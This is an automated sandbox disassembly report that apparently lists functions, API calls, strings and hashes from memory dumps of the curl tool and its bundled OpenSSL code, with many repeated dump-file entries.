Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncmp
String ID: ..\..\openssl\openssl\ssl\ssl_ciph.c$..\..\openssl\openssl\ssl\ssl_ciph.c$STRENGTH
API String ID: 909875538-1119556160
Opcode ID: 2d80d1a9db30f08bdfb74816ea28987fbb2d857a18410641c377bc3e28a4b74c
Instruction ID: 2922a44728d9dd693e3911bd4fa973cf9bf31a1e548b089ed87f7b25c7551e76
Opcode Fuzzy Hash: 2d80d1a9db30f08bdfb74816ea28987fbb2d857a18410641c377bc3e28a4b74c
Instruction Fuzzy Hash: 7AB1D2B26093018FDB28CE18D48076ABBFAAFDA344F58992EF4CD97251D734DC428756

Function 00932394 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,0093D974), ref: 009323B7
_strncpy.LIBCMT ref: 009323E5
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000000,?,000000FF,00000000,0093D974), ref: 0093240F
_strrchr.LIBCMT ref: 00932438
_strrchr.LIBCMT ref: 00932453
GetLastError.KERNEL32(?,?,?,?,0093D974), ref: 0093246B
SetLastError.KERNEL32(00000000,?,?,?,?,0093D974), ref: 00932476

Part of subcall function 00A219B6: __getptd_noexit.LIBCMT ref: 00A219BA

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast$_strrchr$FormatMessage__getptd_noexit_strncpy
String ID:
API String ID: 501956867-0
Opcode ID: 775243e8fe1ded55c578da099a08a2d3e162ac2de6b6b1ba19e349e369539579
Instruction ID: 7d05240e3a71bff68c5fda7c56d19dc2f713f0b4102d098730ee7f16737c289e
Opcode Fuzzy Hash: 775243e8fe1ded55c578da099a08a2d3e162ac2de6b6b1ba19e349e369539579
Instruction Fuzzy Hash: 19019C323002504BD711277C7D4D73E79C84F96705F080038F80ADB2F3EA94880286B2

Function 0096C4F0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0096C55C
_memmove.LIBCMT ref: 0096C6B7
_memmove.LIBCMT ref: 0096C71B

Strings

Excessive server response line length received, %zd bytes. Stripping, xrefs: 0096C693
response reading failed, xrefs: 0096C73B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: Excessive server response line length received, %zd bytes. Stripping$response reading failed
API String ID: 4104443479-128329444
Opcode ID: 94e159a9713d2697826bb61dd04088b9129a7413625ad3bfdad7ea88ca0ef29b
Instruction ID: 5b68979d6a1a06914b9ab58a950090eb0b360b93e2b4c2b2704592b65d6ffbd0
Opcode Fuzzy Hash: 94e159a9713d2697826bb61dd04088b9129a7413625ad3bfdad7ea88ca0ef29b
Instruction Fuzzy Hash: 18818BB1608306AFC714DF29D880A6AFBE4FF98354F00862DF89997211D735E958CF96

Function 00994860 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 211COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009948E0

Strings

..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 00994A46
..\..\openssl\openssl\ssl\s3_pkt.c, xrefs: 0099498A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\ssl\s3_pkt.c$..\..\openssl\openssl\ssl\s3_pkt.c
API String ID: 4104443479-3726070501
Opcode ID: 61ec102611e7da940c65b41950c7dde97867e494c431def34732648adf2a344f
Instruction ID: 9125daac05d4690e49cbdccc90570da39c39206159cf1f870801f4a60a8ccf1f
Opcode Fuzzy Hash: 61ec102611e7da940c65b41950c7dde97867e494c431def34732648adf2a344f
Instruction Fuzzy Hash: C261FE71A002158FDF15DF1DD880B6AB7E4FF84714F04866AE908CB682E735EC5A8B92

Function 00A12560 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A125E4

Strings

ection, xrefs: 00A12601
Permitted auth methods: %s, xrefs: 00A12785
none, xrefs: 00A1263B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: Permitted auth methods: %s$ection$none
API String ID: 4104443479-856158159
Opcode ID: 391e1b3934ab1b6b19efdd71272e5049c82b56c487489e2a1cb7f0e2c67cc5f5
Instruction ID: ecb433006271e1cfa09d8b9d926f5468d7a8c5e08964d2c671c50f207d3794ac
Opcode Fuzzy Hash: 391e1b3934ab1b6b19efdd71272e5049c82b56c487489e2a1cb7f0e2c67cc5f5
Instruction Fuzzy Hash: BA518076711601ABE714CF74DC41BD6FBA4FB85321F04833AE96C86281D372A965CBD0

Function 0093EC90 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 161COMMON

Download Yara Rule

APIs

_swscanf.LIBCMT ref: 0093ECEB

Part of subcall function 00A1FCFF: _vscan_fn.LIBCMT ref: 00A1FD13

Strings

Added %s:%d:%s to DNS cache, xrefs: 0093EE2E
%255[^:]:%d:%255s, xrefs: 0093ECE5
%s:%d, xrefs: 0093ED60
Resolve %s found illegal!, xrefs: 0093EE40

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _swscanf_vscan_fn
String ID: %255[^:]:%d:%255s$%s:%d$Added %s:%d:%s to DNS cache$Resolve %s found illegal!
API String ID: 1942008592-308915888
Opcode ID: 0dcae99db8a33ccabce48df16ea77b58f24b292f3fd889dfa60b834b6c8d0c5c
Instruction ID: 992fa08ffa8fceaefc53dbeaaf6d1e34b1ab8d0363c90bebedc2c3b779b82b65
Opcode Fuzzy Hash: 0dcae99db8a33ccabce48df16ea77b58f24b292f3fd889dfa60b834b6c8d0c5c
Instruction Fuzzy Hash: 7D51C571604346ABD735EE60D941BBBB79DAF91304F04482DF889472D2EB35DE09CB92

Function 00958280 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

recvfrom.WS2_32(?,?,?,00000000,?,00000080), ref: 009582CA
_memmove.LIBCMT ref: 009582EF

Strings

Received too short packet, xrefs: 0095830C
%s, xrefs: 009583FF
Internal error: Unexpected packet, xrefs: 00958429

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmoverecvfrom
String ID: %s$Internal error: Unexpected packet$Received too short packet
API String ID: 2596034036-1418437813
Opcode ID: 68dfc4d3643d7e6123deefeb382a62b3e9720ae64314b42ac939f0d0241b3299
Instruction ID: 7b819b37351217072d012c14dff8e1cd9a807fb047b7d9d1aef36026773762d1
Opcode Fuzzy Hash: 68dfc4d3643d7e6123deefeb382a62b3e9720ae64314b42ac939f0d0241b3299
Instruction Fuzzy Hash: D34103706042019FD724DF26D841BABB7E8FF80305F14852EF89AD7252DF39E9098BA1

Function 009224D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0092251E
_calloc.LIBCMT ref: 00922533
_free.LIBCMT ref: 00922542

Strings

curl: (%d) [globbing] %s, xrefs: 009225D6
%s in column %zu, xrefs: 009225B9

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _calloc_free_malloc
String ID: %s in column %zu$curl: (%d) [globbing] %s
API String ID: 2273345086-219423104
Opcode ID: a4633cdb94da2e635ee7b5e0898f7f538246e945f11cd1b25790cf1c7c0f810f
Instruction ID: fe0dc4c60e047afb73b4f68ccca9fc6a9c552e777bbb703149ae5af5a3d5e894
Opcode Fuzzy Hash: a4633cdb94da2e635ee7b5e0898f7f538246e945f11cd1b25790cf1c7c0f810f
Instruction Fuzzy Hash: 0B31B2716043016FD714DF24E851FBBB7E8AF88700F04492DF88987242EB75E909CBA2

Function 00994200 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0099428F

Strings

..\..\openssl\openssl\crypto\evp\evp_enc.c, xrefs: 00994262
..\..\openssl\openssl\crypto\evp\evp_enc.c, xrefs: 0099427D
..\..\openssl\openssl\crypto\evp\evp_enc.c, xrefs: 009942C0
..\..\openssl\openssl\crypto\evp\evp_enc.c, xrefs: 0099422C

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\evp\evp_enc.c$..\..\openssl\openssl\crypto\evp\evp_enc.c$..\..\openssl\openssl\crypto\evp\evp_enc.c$..\..\openssl\openssl\crypto\evp\evp_enc.c
API String ID: 4104443479-2738382097
Opcode ID: feac9d566f7d079e203f04af4af9a2c3b80bdb23b46b682423d7242d929cf3b7
Instruction ID: edc2e07f1f157df89d92a7d935a93cfec72148699520ffb6dd1c61a6a08018a2
Opcode Fuzzy Hash: feac9d566f7d079e203f04af4af9a2c3b80bdb23b46b682423d7242d929cf3b7
Instruction Fuzzy Hash: B821E1713813016BEF159B9C9C92F3A3799BB81B21F0941B8FA094F2C6D7AADC02C751

Function 009EA0C0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 67COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009EA134

Strings

..\..\openssl\openssl\crypto\rsa\rsa_pk1.c, xrefs: 009EA0FC
..\..\openssl\openssl\crypto\rsa\rsa_pk1.c, xrefs: 009EA128
..\..\openssl\openssl\crypto\rsa\rsa_pk1.c, xrefs: 009EA10F
..\..\openssl\openssl\crypto\rsa\rsa_pk1.c, xrefs: 009EA147

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\rsa\rsa_pk1.c$..\..\openssl\openssl\crypto\rsa\rsa_pk1.c$..\..\openssl\openssl\crypto\rsa\rsa_pk1.c$..\..\openssl\openssl\crypto\rsa\rsa_pk1.c
API String ID: 4104443479-4076712750
Opcode ID: e26739cf60870552cf9ae5132192450c1d9119f6a4b8058cc5f24448c412e712
Instruction ID: c7a75abb6d06b35db73ee3d3091fba87041fd3e51c2fab5277f73a61fe4ab70a
Opcode Fuzzy Hash: e26739cf60870552cf9ae5132192450c1d9119f6a4b8058cc5f24448c412e712
Instruction Fuzzy Hash: 6311803538C3406AD712451E8C82FEA7747ABD3B31F100926F251EB1F3D291AC454263

Function 0093F0B0 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,00000000,00939016,00000000,009393E0), ref: 0093F0C0
LeaveCriticalSection.KERNEL32(?,?,?,00000000,00939016,00000000), ref: 0093F0D3
CloseHandle.KERNEL32(?,?,?,00000000,00939016,00000000), ref: 0093F0DF
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,00000000,00939016,00000000), ref: 0093F0F2
CloseHandle.KERNEL32(?,?,?,00000000,00939016,00000000), ref: 0093F0FA

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeaveObjectSingleWait
String ID:
API String ID: 607221738-0
Opcode ID: 9de9ed530ba812b51eb2cdd4207bdf4048b81efde8697faae37825869622c29e
Instruction ID: 0837e83a9f51cb8621ed0e262b7424efb226f0c62993351ee037d6949aaea9e2
Opcode Fuzzy Hash: 9de9ed530ba812b51eb2cdd4207bdf4048b81efde8697faae37825869622c29e
Instruction Fuzzy Hash: 82019E71500201EBDB209F94FC88B12BBB8FF01761F144164F806CA2A5CB71E825CFA1

Function 00A16400 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A164D0

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A16661
sha1, xrefs: 00A16420
